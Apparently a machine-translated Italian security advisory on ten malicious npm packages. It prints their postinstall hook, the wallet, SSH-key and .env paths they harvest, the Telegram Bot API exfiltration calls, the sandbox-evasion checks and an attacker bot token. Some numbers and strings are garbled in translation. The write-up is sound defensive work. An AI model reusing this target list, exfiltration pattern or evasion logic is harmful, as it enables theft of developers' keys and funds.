TL; DR
Il 9 giugno 2026 è stato creato un singolo account publisher npm, aicrypto-xzggg, spedito dieci confezioni con nomi che richiamano la crittografia e il Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9e altri sei.
Ogni pacchetto esegue lo stesso payload da un postinstall hook. All'installazione, controlla se è in esecuzione all'interno di CI o di una sandbox; in caso contrario, legge i keystore del portafoglio, i file della frase di recupero, le chiavi SSH e .env raccoglie file da sei diversi ecosistemi blockchain e li trasmette a un bot di Telegram.
L'unico indicatore che un difensore può cercare immediatamente è l'ID del bot di Telegram 8227918239.
Gravità: critico — furto diretto delle chiavi di firma e delle frasi di recupero da postazioni di lavoro per sviluppatori.
L'attacco: come funziona
I pacchetti si pubblicizzano come utilità per sviluppatori blockchain. pacchetto.json è minimale e indirizza il ciclo di vita dell'installazione verso uno script:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}scripts/postinstall.js è uno shim a linea singola che carica il payload reale: require(“../src/index.js”). Perché post-installazione si esegue automaticamente durante installazione di npmNon è richiesto alcun importazione di codice da parte dello sviluppatore: è sufficiente inserire il pacchetto in una struttura di dipendenze per eseguirlo.
La catena di morte all'interno src/index.js Si compone di quattro fasi:
- Verifica dell'ambiente. Una funzione di guardia decide se l'host si comporta come un agente di compilazione o come un ambiente di analisi.
- Ritardo. L'esecuzione è differita dietro un impostaTimeout di circa 7.4 secondi.
- Collezione. Viene esaminato un elenco predefinito di percorsi di file per wallet, chiavi e segreti; i file esistenti vengono messi in coda.
- Esfiltrazione. I file in coda vengono inviati a un bot di Telegram, preceduti da un messaggio di riepilogo.
L'elenco dei destinatari della raccolta comprende sei catene più segreti generici degli sviluppatori. Rifilato:
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localVentuno percorsi in totale. Voci di directory come ~/.ethereum/keystore vengono espansi e ogni file al suo interno viene messo in coda. L'esfiltrazione utilizza direttamente l'API Telegram Bot — un inviaMessaggio chiamata con un riepilogo host e file, quindi un inviaDocumento Caricamento in più parti per ciascun file:
testo
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)Il messaggio di riepilogo che il codice assembla inizia con la stringa letterale LADRO DI CRIPTOVALUTE, seguito da nome host, nome utente, nome del pacchetto di origine, numero di file e data e ora.
Cosa c'è di nuovo qui?
La differenza non sta nel meccanismo di furto: l'esfiltrazione basata su Telegram da npm post-installazione hooks è ben battuto. È il porta di esecuzione. Prima di eseguire qualsiasi operazione, il payload chiama una funzione che restituisce true quando l'host assomiglia a un runner CI o a una sandbox e restituisce early quando lo è:
testo
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)La regex container-id è la clausola notevole: un nome host di 12 caratteri esadecimali è la forma predefinita che Docker assegna a un contenitorePertanto, il payload interpreta "il mio hostname sembra un container Docker" come un motivo per rimanere inattivo. In combinazione con il ritardo di sette secondi, il design favorisce l'esecuzione sulla workstation reale di uno sviluppatore e il silenzio ovunque possa sembrare un'analisi automatizzata. Questo meccanismo di controllo ha soppresso i segnali di analisi dinamica e ha mantenuto il flusso di esfiltrazione statico come principale prova di colpevolezza.
timeline
| Data (UTC) | Event |
|---|---|
| 2026-06-09 ~02:48 | Primi pacchetti nel cluster contrassegnati alla pubblicazione (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Membri di versione superiore contrassegnati (ethereum-kit-9 a 1.25.36 anni, wallet-sdk-9 a 3.7.73) |
| 2026-06-09 ~03:58–03:59 | I membri finali segnalati (defi-tools-39 a 4.26.29 anni, swap-sdk-87 a 4.63.78 anni, farming-tools-12 a 4.68.54) |
| 2026-06-09 | Tutti e dieci sono stati classificati come dannosi e segnalati per la rimozione dal registro. |
Tutti e dieci sono emersi in circa settanta minuti, in linea con una singola pubblicazione programmata da un unico account.
Indicatori di compromesso
Indicatori di rete e comportamentali (ospite disarmato):
| Valore | |
|---|---|
| Endpoint Exfil | api[.]telegram[.]org (API del bot di Telegram) |
| ID del bot di Telegram | 8227918239 |
| Token del bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID chat Telegram | 6433587894 |
| Installare il gancio | postinstall → scripts/postinstall.js → src/index.js |
| Stringa marcatore | CRYPTO STEALER nel messaggio riassuntivo assemblato |
| Publisher | aicrypto-xzggg (e-mail dichiarata) vipsyria88@gmail[.]com(non verificato) |
Pacchetti e versioni, ciascuno con l'SHA-256 del suo src/index.js payload (i payload sono funzionalmente identici e differiscono solo nell'etichetta del nome del pacchetto incorporato, quindi ogni hash è distinto):
| CONFEZIONE | Versione | SHA-256 di src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Una semplice query di ricerca: cerca nei log di installazione e nei file di blocco uno qualsiasi dei dieci nomi e cerca nel traffico in uscita connessioni all'API del bot di Telegram provenienti da host di build o di sviluppo che altrimenti non la utilizzano.
Attribuzione e comportamento osservato
Tutti e dieci i pacchetti sono stati pubblicati da un unico account, aicrypto-xzggg, il cui indirizzo email dichiarato è vipsyria88@gmail[.]comSia l'indirizzo email che il link al controllo della versione non sono verificati nei metadati del registro e l'account ha un punteggio di reputazione fortemente negativo. Non abbiamo confermato chi gestisce l'account.
Due dettagli meritano di essere separati da qualsiasi rivendicazione di identità. In primo luogo, il pacchetto.json autore letture del campo Alex Smith su ogni pacchetto, mentre l'account di pubblicazione effettivo è aicrypto-xzggg; il campo autore è un metadato autodichiarato e non stabilisce l'autore. In secondo luogo, i numeri di versione variano ampiamente: alcuni membri si trovano a 1.0.0, altri a 4.68.54 — il che è coerente con il riutilizzo di un singolo payload per nomi di pacchetto appena creati, anziché mantenere una cronologia di rilascio reale.
Il comportamento è uniforme in tutto il cluster: lo stesso elenco di percorsi di destinazione, lo stesso ID del bot Telegram e ID della chat, lo stesso gate dell'ambiente, lo stesso LADRO DI CRIPTOVALUTE Indicatore. Tale uniformità rappresenta il legame più forte tra i pacchetti. Si tratta di un segnale dello stesso operatore, non di un'identità.
Impatto, tendenze e linee guida per i difensori
L'esposizione è concreta. Uno sviluppatore che installa uno qualsiasi di questi pacchetti su una workstation che contiene un portafoglio software, un file di frase di recupero o una chiave SSH vede questi file letti e trasmessi fuori dall'host in pochi secondi. Le frasi di recupero e le chiavi di firma non scadono come un token di sessione; una volta che mnemonic.txt o una Solana id.json esce dalla macchina, i fondi che controlla sono a rischio finché non vengono spostati. La stessa esecuzione cattura anche .env file che di solito contengono chiavi API e credenziali di database.
Dietro questo gruppo si celano due tendenze. La prima è il continuo utilizzo di nomi a tema crittografico e Web3 per attrarre un pubblico specifico: gli sviluppatori che mantengono portafogli e chiavi sulla stessa macchina su cui installano le dipendenze. La seconda è la maturazione delle tecniche di elusione delle sandbox nei payload installati. Un sistema di controllo che verifica le variabili d'ambiente CI, i nomi utente dei runner e la struttura del nome host dell'ID del container Docker rappresenta uno sforzo deliberato per comportarsi in modo diverso durante l'analisi rispetto a una workstation reale, e alza l'asticella per il rilevamento puramente dinamico.
Per i difensori:
Installazione con script disabilitati per impostazione predefinita. npm install –ignore-scripts, o impostare ignore-scripts=true in .npmrc, previene post-installazione esecuzione; abilitare gli script solo per le dipendenze specifiche che ne hanno effettivamente bisogno.
Non conservare i wallet e le chiavi di firma sui computer di sviluppo e compilazione. Utilizza un wallet hardware o un host di firma dedicato e indipendente.
TRATTARE .env, keystore e file di frase di recupero come gioielli della corona. Non dovrebbero mai trovarsi in una directory che è anche un installazione di npm albero funzionante.
Cerca connessioni in uscita all'API del bot di Telegram dagli host di CI e di sviluppo. La maggior parte degli ambienti di build non la chiama mai; un caso in cui lo faccia improvvisamente, subito dopo un'installazione, merita di essere esaminato.
Aggiungi e rivedi le dipendenze. Un pacchetto nuovo di zecca con un nome generico di criptovaluta, un post-installazione gancio, e nessun collegamento al repository merita di essere esaminato prima di essere inserito in un file di blocco.
La clausola di elusione dell'ID del container serve anche a ricordare agli analisti che un payload installato che rimane inattivo in una sandbox non è innocuo, bensì selettivo. L'analisi statica del percorso di installazione rimane il metodo più affidabile per verificare cosa l'esecuzione dinamica potrebbe omettere di mostrare.
Referenze
documentazione di npm install — script del ciclo di vita e –Ignore-scripts— riferimento per disabilitare l'installazione automatica hooks.







